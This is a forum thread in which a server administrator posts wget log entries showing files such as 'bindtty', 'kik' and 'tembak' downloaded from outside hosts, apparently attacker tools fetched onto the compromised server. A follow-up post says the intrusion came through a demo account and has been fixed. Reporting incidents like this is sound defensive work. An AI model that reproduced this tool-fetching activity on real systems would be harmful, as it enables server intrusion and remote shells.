Very Strange enryies in error log

[WeMasterz5]

anyone seen anything like these (WARNING) some links are VIRUS

66.218.77.68


--01:35:04-- www.geocities.com/x1_xid/Hack/xport.txt
=> `xport.txt'
Resolving www.geocities.com... done.
Connecting to www.geocities.com[66.218.77.68]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28,310 [text/plain]

0K .......... .......... ....... 100% 78.99 KB/s

01:35:04 (78.99 KB/s) - `xport.txt' saved [28310/28310]





--08:03:03-- http://on-purwokerto.com/tools/bindtty
=> `bindtty'
Resolving on-purwokerto.com... done.
Connecting to on-purwokerto.com[66.246.3.177]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,180 [text/plain]

0K .......... ........ 100% 82.88 KB/s

08:03:03 (82.88 KB/s) - `bindtty' saved [19180/19180]

--08:03:03-- http://petrozza.net/tools/kik
=> `kik'
Resolving petrozza.net... done.
Connecting to petrozza.net[207.155.252.14]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12,390 [text/plain]

0K .......... .. 100% 43.06 KB/s

08:03:04 (43.06 KB/s) - `kik' saved [12390/12390]


--09:38:11-- http://ecuza.com/data/by
=> `by'
Resolving ecuza.com... done.
Connecting to ecuza.com[81.21.68.106]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28,334 [text/plain]

0K .......... .......... ....... 100% 49.68 KB/s

09:38:12 (49.68 KB/s) - `by' saved [28334/28334]

--11:47:46-- http://www.asromaonline.com/tembak
=> `tembak'
Resolving www.asromaonline.com... done.
Connecting to www.asromaonline.com[66.111.56.80]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16,821 [text/plain]

0K .......... ...... 100% 51.66 KB/s

11:47:47 (51.66 KB/s) - `tembak' saved [16821/16821]





__________________________

what are they doing or trying to do, where can I find out what site is doing this...or has someone gained entry to our server

Thanks

cPanel.net Support Ticket Number:

cPanel.net Support Ticket Number:

cPanel.net Support Ticket Number:

 

[WeMasterz5]

never mind, we found it, the server was hacked thru a demo,

cpanel support help get the server back on track, many thanks guys, and my new friend Eddy ponited me to the entry point, Kudus to you as well

cPanel.net Support Ticket Number: